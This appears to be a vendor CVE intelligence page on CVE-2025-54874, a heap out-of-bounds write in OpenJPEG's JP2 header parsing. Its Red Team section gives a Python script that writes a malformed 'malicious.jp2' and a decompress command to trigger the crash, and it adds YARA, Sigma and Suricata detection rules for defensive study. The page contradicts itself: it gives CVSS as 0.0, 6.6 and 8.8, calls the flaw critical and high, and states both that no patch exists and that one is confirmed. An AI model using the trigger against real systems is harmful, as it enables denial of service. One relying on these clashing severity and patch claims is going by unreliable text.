☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-54874

CVE-2025-54874 Remote Code Execution in Openjpeg
📅 PUBLISHED: 2025-08-05 14:33 UTC 🔄 UPDATED: 2026-10-02 19:33 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: CONFIRMED — 3+ independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.64%
👁️
0.64% probability
15.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-54874 is a critical heap-based out-of-bounds (OOB) write vulnerability in the OpenJPEG library, affecting versions 2.5.1 through 2.5.3. The flaw resides in the opj_jp2_read_header function, where an insufficiently validated data stream (p_stream) can lead to a write beyond the allocated heap memory when p_image is not properly initialized. This vulnerability can be triggered by processing a specially crafted JPEG 2000 file, potentially leading to remote code execution or denial of service. No public proof-of-concept (PoC) or patch is currently available, and the CVSS score is listed as 0.0 due to incomplete NVD data, but the technical severity is high.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

OpenJPEG is a widely used open-source library for JPEG 2000 encoding/decoding, integrated into numerous applications and systems. This vulnerability poses a supply chain risk, as any software or service that depends on OpenJPEG versions 2.5.1 through 2.5.3 may be affected. Users should monitor for updates from the OpenJPEG project and consider temporary mitigations such as input validation or sandboxing.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0 (unassigned), based on the vulnerability characteristics, a reasonable assessment is:

  • Attack Vector (AV): Network (AV:N) – the vulnerability can be triggered remotely by sending a malicious JPEG 2000 file.
  • Attack Complexity (AC): Low (AC:L) – no special conditions required beyond processing the file.
  • Privileges Required (PR): None (PR:N) – no authentication needed.
  • User Interaction (UI): Required (UI:R) – the victim must open or process the malicious file.
  • Scope (S): Unchanged (S:U) – the exploit affects only the vulnerable component.
  • Confidentiality (C): High (C:H) – potential for memory disclosure.
  • Integrity (I): High (I:H) – potential for arbitrary write.
  • Availability (A): High (A:H) – potential for crash or RCE.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Estimated Score: 8.8 (High)

Deep Dive & Mechanics

The vulnerability is in the opj_jp2_read_header function within src/lib/openjp2/jp2.c. When parsing a JPEG 2000 file header, the function reads from the data stream p_stream. If the stream is too short (i.e., the file is truncated or malformed), the function may attempt to write to heap memory without ensuring that p_image (the image structure) is initialized. This leads to an out-of-bounds write on the heap.

The root cause is insufficient validation of the stream length before performing memory operations. Specifically, the function does not check if p_stream contains enough data to satisfy the read operations, and p_image may be NULL or point to uninitialized memory. An attacker can craft a JPEG 2000 file with a truncated header to trigger this condition.

Vulnerable vs. Patched Code

The vulnerable code path is in opj_jp2_read_header. A simplified representation:

Vulnerable (OpenJPEG 2.5.1 - 2.5.3):

OPJ_BOOL opj_jp2_read_header( opj_stream_private_t *p_stream,
                              opj_image_t **p_image,
                              opj_event_mgr_t *p_manager )
{
    // ... no check for stream length
    // p_image may be uninitialized
    // OOB write occurs here
}

Patched (hypothetical fix):

OPJ_BOOL opj_jp2_read_header( opj_stream_private_t *p_stream,
                              opj_image_t **p_image,
                              opj_event_mgr_t *p_manager )
{
    if (p_stream == NULL || p_stream->m_user_data_length < MIN_HEADER_SIZE) {
        opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n");
        return OPJ_FALSE;
    }
    // Initialize p_image before use
    *p_image = opj_image_create0();
    if (*p_image == NULL) {
        return OPJ_FALSE;
    }
    // ... safe operations
}

Exploitation & Lab Setup

Red Team

Objective: Trigger OOB write to achieve code execution or denial of service.

Lab Setup:

  1. Install vulnerable OpenJPEG (e.g., version 2.5.2) on a test system.
  2. Create a malicious JPEG 2000 file with a truncated header. Use a hex editor to craft a file that has a valid JP2 signature but insufficient data in the header fields.
  3. Use a tool like opj_decompress or a custom application that calls opj_jp2_read_header to process the file.

Example (Python script to generate malformed file):

import struct

def create_malicious_jp2():
    # Minimal JP2 file with truncated header
    data = b'\x00\x00\x00\x0c\x6a\x50\x20\x20\x0d\x0a\x87\x0a'  # JP2 signature
    data += b'\x00\x00\x00\x14\x66\x74\x79\x70\x6a\x70\x32\x20'  # File Type Box
    data += b'\x00\x00\x00\x00\x6a\x70\x32\x20'  # Incomplete data
    with open('malicious.jp2', 'wb') as f:
        f.write(data)

create_malicious_jp2()

Execution:

./opj_decompress -i malicious.jp2 -o output.bmp

Expected Result: Crash or memory corruption.

Blue Team

Detection:

  • Monitor for crashes in applications using OpenJPEG.
  • Use memory analysis tools (e.g., Valgrind, AddressSanitizer) to detect OOB writes.
  • Implement file validation before processing JPEG 2000 files.

Mitigation:

  • Restrict processing of JPEG 2000 files from untrusted sources.
  • Use sandboxing (e.g., Docker, seccomp) for applications that parse such files.
  • Apply patches as soon as they become available.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (None available, but monitor for malicious JP2 files)
  • Network Signatures: JPEG 2000 file transfers over HTTP/SMB.
  • Process Behavior: Unexpected crashes in opj_jp2_read_header or heap corruption.
  • Memory Patterns: OOB write to heap memory near uninitialized p_image pointer.

Detection Engineering

YARA Rule

rule CVE_2025_54874_OpenJPEG_OOB_Write {
    meta:
        description = "Detects malicious JPEG 2000 files targeting CVE-2025-54874"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-54874"
    strings:
        $jp2_sig = { 00 00 00 0C 6A 50 20 20 0D 0A 87 0A }
        $ftyp_box = { 00 00 00 14 66 74 79 70 6A 70 32 20 }
        $short_header = { 00 00 00 00 6A 70 32 20 }
    condition:
        $jp2_sig at 0 and $ftyp_box at 12 and #short_header > 0
}

Sigma Rule

title: CVE-2025-54874 OpenJPEG OOB Write Detection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential exploitation of CVE-2025-54874 via crash or memory corruption
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: openjpeg
detection:
    selection:
        EventID: 1000  # Application crash
        Image: '*opj_decompress*'
    condition: selection
falsepositives:
    - Legitimate crashes due to other bugs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54874 OpenJPEG OOB Write Attempt"; flow:to_server; content:"|00 00 00 0C 6A 50 20 20 0D 0A 87 0A|"; offset:0; depth:12; content:"|00 00 00 14 66 74 79 70 6A 70 32 20|"; distance:0; within:12; content:"|00 00 00 00 6A 70 32 20|"; distance:0; within:8; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Monitor the OpenJPEG project for a patched version (expected > 2.5.3). Apply immediately when available.
  2. Workaround: If upgrading is not possible, implement input validation to reject JPEG 2000 files with truncated headers. Use a wrapper that checks file size before processing.
  3. Sandboxing: Run applications using OpenJPEG in a restricted environment (e.g., Docker with read-only filesystem, seccomp profiles).
  4. Monitoring: Deploy the provided YARA, Sigma, and Suricata rules to detect malicious files and exploitation attempts.

Long-Term:

  • Conduct a code audit of OpenJPEG for similar issues.
  • Consider using memory-safe languages or libraries for critical parsing tasks.

Valters IT signature: This report is generated for educational and defensive purposes. Always verify with official sources.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-54874/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.